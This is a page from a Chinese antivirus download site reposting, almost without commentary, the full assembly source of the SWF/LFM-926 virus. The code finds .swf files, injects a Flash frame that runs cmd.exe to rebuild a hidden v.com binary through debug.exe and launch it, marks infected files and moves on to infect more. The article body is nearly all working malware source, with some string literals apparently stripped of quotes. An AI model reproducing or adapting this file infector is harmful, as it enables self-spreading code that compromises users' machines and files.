主 页  下载中心 文章中心 在线杀毒 软件论坛
国内杀毒软件     瑞星杀毒 金山毒霸 江民杀毒 光华反病毒 更多... 木马专杀   木马杀客 木马克星 木马清道夫 AVG(原Ewido)Anti-Spyware 更多...
国外杀毒软件     卡巴斯基   诺顿   趋势 安博士 熊猫卫士  小红伞 驱逐舰 麦咖啡McAfee   NOD32   F-Secure   Dr.Web   Avast   更多...
升级补丁   瑞星升级 金山毒霸升级 江民升级 光华升级 卡巴斯基升级 诺顿升级 趋势升级 安博士升级 NOD32升级 Dr.Web升级 Avast升级
流氓软件清理     360安全卫士 瑞星卡卡   金山毒霸系统清理专家 Wopti流氓软件清除大师   恶意软件清理助手   超级兔子网络卫士 更多...
防火墙     天网 费尔 冰盾 更多... 病毒专题     熊猫烧香病毒专题 电眼间谍病毒专题 AV终结者病毒专题 灰鸽子清理     更多...
系统漏洞补丁     windowXP系统漏洞补丁 window2000系统漏洞补丁 window2003系统漏洞补丁 windowVISTA系统漏洞补丁 更多...
 您当前的位置:爱客者 -> 文章中心 -> 安全技术 -> 杀毒技术 -> 文章内容
国外的第一只flash病毒的源代码
来源:网络 时间:2006-10-15
>swf/lfm-926 virus:
; ------------------
; description: winnt/xp virus dropper for flash .swf files!
; masm version 6.11: ml.exe swf.asm
; virus size: 926 bytes
; infection size: 3247 bytes.
; last edit: 01/08/2002

; --------------------------------- begin source code ------------------------------------


.286
.model tiny
.code
org 100h

entry: jmp start

vir_size equ virus_end-entry

dta db 128 dup(0) ; offset dta+30 = filename
handle dw ? ; handle to host file
ptr1 dd 0 ; segment address of the created memory block
path db "*.swf",0 ; file mask
binary db "v.com",0 ; binary code
hex db "0123456789abcdef" ; binary to hex

; flash header block.
; -------------------
sign_fw dw ? ; swf file format
sign_s db ?
version_num db ?
file_length dw ?
dw ?
static_hdr_size equ $-sign_fw

rect_buf db 20 dup(0) ; header length is variable because the rect region isnt static. ;(
rect_buf_size equ $-rect_buf

hdr_size dw ? ; holds the true header size!

; start of viral frame 0.
; -----------------------
drop_begin db 03fh,003h ; doaction tag(12) long format. learn the bytecodes!
tag_length dw 0 ; (action length+3)+1[end_tag]
dw 0
db 083h ; actiongeturl tag
action_length dw 0 ; (drop_begin_size-9)+(sum of drop_middle)+(drop_end_size)
db fscommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is flash code for a space character.
db /c
db 009h
db echo
db 009h
db loading.flash.movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
drop_begin_size equ $-drop_begin

drop_middle db echo
db 009h
db db
db 009h
db 71 dup(,) ; db xx,...,xx where xxs are viral hex codes.
db &
drop_middle_size equ $-drop_middle

drop_end db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39e ; define hex 39e (vir_size) as a string. changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; stringend tag
drop_end_size equ $-drop_end

; end of viral frame 0.
; ---------------------
end_tag db 001h ; action code 0x01 = tagshowframe tag

start:
mov ax,(vir_size+0fh)
shr ax,4
shl ax,1
mov bx,ax ; allocate (virussize*2)
mov ah,4ah
int 21h ; resize block
jc exprog

mov dx,offset dta ; set dta operation
mov ah,1ah
int 21h

mov cx,07h
mov dx,offset path
mov ah,4eh ; findfirst
int 21h
jc exprog
jmp infect
cycle:
mov dx,offset path
mov ah,4fh ; findnext
int 21h
jc exprog
jmp infect
exprog:
mov ax,4301h ; hide v.com
mov cx,02h
mov dx,offset binary
int 21h

mov ax,4c00h ; end program
int 21h
infect:
mov byte ptr dta[30+12],$
mov dx,offset (dta+30)

mov ax,3d02h ; open host file
int 21h
jc exprog

mov [handle],ax ; save file handle

mov ax,3f00h ; read file header
mov dx,offset sign_fw
mov bx,[handle]
mov cx,(static_hdr_size+rect_buf_size)
int 21h
jc exprog

cmp word ptr sign_fw,wf ; check for a valid flash swf file.
jne cycle ; try another file ...
cmp byte ptr sign_s,s
jne cycle
cmp byte ptr version_num,099h ; already infected?
je cycle

mov cx,rect_buf_size ; search for the setbackgroundcolor tag.


xor di,di ; seems to always exist directly after the header.
next: cmp byte ptr rect_buf[di],043h
jne not_found
cmp byte ptr rect_buf[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp cycle
found:
mov word ptr hdr_size,static_hdr_size
add word ptr hdr_size,di ; compute the header size

mov ax,4200h ; reset file ptr right after flash header
xor cx,cx
mov dx,[hdr_size]
int 21h
jc exprog

push bx
mov ax,word ptr file_length
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; allocate memory for target host file
int 21h
pop bx
jc exprog
mov word ptr ptr1[2],ax ; save pointer to allocated block

mov cx,word ptr file_length
sub cx,[hdr_size]
mov ah,3fh ; read host file into memory block
push ds
lds dx,[ptr1]
int 21h
pop ds
jc exprog

mov ax,4200h ; reset file ptr to the middle code section
xor cx,cx
mov dx,[hdr_size]
add dx,drop_begin_size
int 21h
jc exprog

;
; the following code is a key technique. it simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that debug.exe expects! flash only really
; allows plain text, so this satisfies that condition.
;

mov word ptr action_length,(drop_begin_size-9+drop_end_size)
push bx
mov cx,vir_size
xor si,si
xor di,di
tohex:
mov bx,offset hex ; convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr entry[si]
mov ah,al
and al,00001111y
xlat
mov drop_middle[static_hdr_size+di+1],al
shr ax,12
xlat
mov drop_middle[static_hdr_size+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr action_length,drop_middle_size
mov bx,[handle] ; write hex dump entry xx,...,xx
mov dx,offset drop_middle
mov cx,drop_middle_size
mov ax,4000h
int 21h
jc exprog
pop cx
cont:
loop tohex
pop bx

or di,di
jz no_remainder

mov dx,offset drop_middle
mov cx,di
add cx,7 ; static_hdr_size-1
add word ptr action_length,cx
mov ax,4000h ; write remainder hex dump entry xx,...,xx
int 21h
jc exprog

no_remainder:
mov dx,offset drop_end
mov cx,drop_end_size+1
mov ax,4000h ; write end code and end of frame tag(01) into host
int 21h
jc exprog

mov cx,word ptr file_length
sub cx,[hdr_size]
mov ax,4000h ; write host code directly after viral code.
push ds
lds dx,[ptr1]
int 21h
pop ds
jc exprog
; patch the header with new viral values.
mov cx,word ptr action_length
add cx,4
mov word ptr tag_length,cx
add cx,6
add word ptr file_length,cx ; total file size increase = (tag_length+6)
; set infection marker
mov byte ptr version_num,099h

mov di,[hdr_size]
inc word ptr [sign_fw+di-2] ; increase frame count by 1

mov ax,4200h ; re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc exprog

mov dx,offset sign_fw
mov cx,[hdr_size]
mov ax,4000h ; write updated viral header
int 21h
jc exprog

mov dx,offset drop_begin
mov cx,drop_begin_size
mov ax,4000h ; write begin code into host
int 21h
jc exprog

mov ah,49h ; free memory block
mov es,word ptr ptr1[2]


int 21h
jc exprog

mov ax,3e00h ; close file
int 21h
jc exprog

jmp cycle ; done! try to infect another.

virus_end:
end entry

相关新闻
学习从系统中删除病毒2007/6/28
吃透木马运行原理把它扼杀2007/6/28
McAfee杀毒软件高级设置技巧五招2007/6/28
隐藏文件看不到?中毒了!2007/6/25
360安全卫士推出集三重防护理念2007/6/25
 
    其它相关新闻
·学习从系统中删除病毒
·吃透木马运行原理把它扼杀
·McAfee杀毒软件高级设置技巧五招
·隐藏文件看不到?中毒了!
·360安全卫士推出集三重防护理念
·使用杀毒软件应该注意什么
·CA发布声明:我的杀毒软件漏洞很大
    最新新闻
·磁碟机病毒的十大罪行
·病毒预警:光华反病毒资讯(7月16日-7月22日)
·病毒预警:光华反病毒资讯(7月9日-7月15日)
·用Regsvr32命令解决系统疑难杂症
·Windows的DLL文件原理与修改方法
·如何隐藏硬盘分区
·攻防全面分析 常用九种攻击方法
·卡巴再次误报 将注册表判为木马
·英特尔酷睿2存在安全缺陷
    相关软件下载
·AVG(原Ewido)Anti-Spyware最新完整病毒库更新(2008.06.02)-Anti-Spyware升级包
·AVG(原Ewido)Anti-Spyware每日增量病毒库更新(2008.06.02)-Anti-Spyware升级包
·Kaspersky Anti-Virus7.0.0.125增量包(2008.05.31)-卡巴斯基升级包
·Kaspersky Internet Security7.0.0.125完整升级包(2008.06.01)-卡巴斯基升级包
·熊猫卫士06月01号最新病毒升级包通用版-熊猫卫士升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.0 VPS更新-Avast升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.x VPS更新-Avast升级包
·小红伞AntiVir最新病毒库(2008.06.01) for WindowsNT/2000/XP-小红伞升级包
·McAfee VirusScan DAT 5306病毒库-麦咖啡升级包
·更多相关杀毒软件
  [本站导航]  
瑞星  瑞星杀毒软件瑞星升级包 瑞星杀毒瑞星2007 瑞星在线杀毒瑞星杀毒软件下载瑞星升级
卡巴斯基  卡巴斯基下载卡巴斯基6.0卡巴斯基杀毒软件卡巴斯基7.0卡巴斯基病毒库卡巴斯基升级包
江民  江民杀毒软件江民杀毒江民2007江民杀毒软件下载江民升级包江民升级江民离线升级包
金山毒霸  金山毒霸2007下载金山毒霸下载金山毒霸2007升级包金山毒霸升级金山毒霸杀毒软件
诺顿  诺顿杀毒软件诺顿杀毒诺顿病毒库诺顿企业版诺顿升级包诺顿升级诺顿下载
小红伞AntiVir  德国小红伞小红伞下载小红伞中文小红伞杀毒软件小红伞汉化Avira AntiVir
麦咖啡McAfee  麦咖啡杀毒软件麦咖啡升级包麦咖啡8.0麦咖啡企业版麦咖啡8.5mcafee virusscan
NOD32  nod32升级nod32升级服务器nod32下载nod32 2.7nod32升级idnod32更新nod32升级包
F-Secure  F-secure杀毒软件f-secure anti-virusF-secure汉化版F-secure注册机F-secure2007
Dr.Web  dr.web keydr.web cureitdr.web注册码dr.web汉化dr.web病毒库大蜘蛛大蜘蛛杀毒软件
Avast  avast注册码 序列号avast antivirusavast杀毒软件avast中文版avast 升级avast升级包
木马专杀  木马杀客木马克星AVG Ewido Anti-SpywareAVG Ewido Anti-Spyware升级包 更新
防火墙  瑞星防火墙天网防火墙arp防火墙瑞星个人防火墙江民防火墙防火墙下载风云防火墙
流氓软件清理  瑞星卡卡360安全卫士Wopti流氓软件清除大师奇虎360安全卫士360安全卫士绿色版
推荐软件  Firefox火狐浏览器浏览器Picasa照片处理软件非主流图片制作软件非主流照片制作
关于本站 - 广告合作 - 联系我们 - 下载声明 - 网站地图 - RSS2.0 - 合作伙伴:爱客宝
Copyright©1998 - 2007 爱客者 All Rights Reserved

粤ICP备07006801号